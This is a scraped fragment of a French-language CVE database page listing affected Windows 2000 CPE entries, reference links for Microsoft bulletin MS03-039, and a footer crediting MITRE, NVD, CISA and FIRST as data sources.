- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
Microsoft>>Windows_2000 >> Version *
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
Microsoft>>Windows_2000 >> Version *
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
- Microsoft>>Windows_2000 >> Version - (Open CPE detail)
Références
http://lists.grok.org.uk/pipermail/full-disclosure/2003-July/006851.html
Tags : mailing-list, x_refsource_FULLDISC
Tags : mailing-list, x_refsource_FULLDISC
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A494
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A1118
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2003/ms03-039
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC)
sont maintenues par MITRE Corporation, et les informations sur les configurations
logicielles et matérielles (CPE) proviennent du NVD.